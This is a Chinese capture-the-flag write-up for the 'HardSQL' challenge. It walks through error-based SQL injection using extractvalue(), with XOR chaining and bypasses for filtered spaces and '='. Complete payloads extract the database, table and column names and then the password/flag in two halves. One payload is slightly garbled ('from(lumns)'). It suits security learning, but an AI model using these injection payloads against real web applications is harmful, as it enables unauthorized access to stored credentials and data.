[极客⼤挑战2019]HardSQL1-SQL报错注⼊
[极客⼤挑战 2019]HardSQL
先进⾏常规SQL注⼊:‘,’‘,order by,or and union
先进⾏简单测试,发现密码框可能存在SQL注⼊,然后进⾏以下测试,发现都是这个页⾯。
常规测试payload:    //如下payload都是在密码框内测试
2' or '1'='1
2' or '1'='2
2' order by 3#
2' union select 1,2,3#
然后我们判断这道题是报错注⼊extractvalue()和updatexml()
这两个函数讲解参考以下链接:
我们这个题⽤的是extractvalue,我就简单的介绍⼀下这个函数。
extractvalue()
语法:extractvalue(⽬标xml⽂档,xml路径)
第⼀个参数:第⼀个参数可以传⼊⽬标XML⽂档
第⼆个参数:xml中的位置是可操作的地⽅,xml⽂档中查字符位置是⽤/xxx/这种格式,如果我们写⼊其他格式,就会报错,并且会返回我们写⼊的⾮法格式内容,⽽这个⾮法的内容就是我们想要查询的内容。
如果正常查询的话第⼆个参数的位置格式为/xxx/,即使查询不到也不会报错
tips:要注意的是,它能够查询的字符串长度最⼤是32个字符,如果超过32位,就需要⽤函数来查询:
⽐如left(),right(),substr()来截取字符串
举个例⼦:
select extractvalue('<a><b></b></a>','/a/b'); 这个语句就是寻前⾯⼀段xml⽂档内容中的a节点下的b节
点,这⾥如果Xpath格式语法书写错误,就会报错,这⾥就是利⽤这个特性来获得我们想要知道的内容。
利⽤concat函数将想要获得的数据库内容拼接到第⼆个参数中,报错时作为内容输出
百度了web 的骚操作
⽤’^'来连接函数,形成异或
这边⽤的是extractvalue()
我们在测试的时候发现这题⽬还过滤了空格,百度了解了⼀下⽤括号来代替空格就能绕过了
我们先构造payload爆数据库名:geek
2'^extractvalue(1,concat(0x5c,(select(database()))))#
然后构造payload爆该数据库的表:
2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))))#
我们⽤这个payload发现出来的页⾯还是这个:
猜测应该是=也被过滤了,然后百度了解了⼀下可以⽤like代替=,我们修改⼀下payload:
2'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
发现爆出表:H4rDsq1
然后我们构造paylaod爆出表的列:id,username,password
xml实体解析xpath注入
2'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(lumns)where(table_name)like('H4rDsq1'))))#
我们查看⼀下每个列⾥⾯的内容:
发现id⾥⾯只有⼀个1,username⾥⾯有/flag,⽽password⾥⾯有flag值,这⾥只演⽰获取password列⾥⾯的内容:
构造payload:
2'^extractvalue(1,concat(0x5c,(select(password)from(geek.H4rDsq1))))#
然后我们发现只有⼀般的flag,看上⾯tips,所以我们⽤left(),right()个查看⼀次构造完整的flag
2'^extractvalue(1,concat(0x5c,(select(left(password,30))from(geek.H4rDsq1))))#
2'^extractvalue(1,concat(0x5c,(select(right(password,30))from(geek.H4rDsq1))))#
最后两边对⽐去除多余的得出flag!!

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。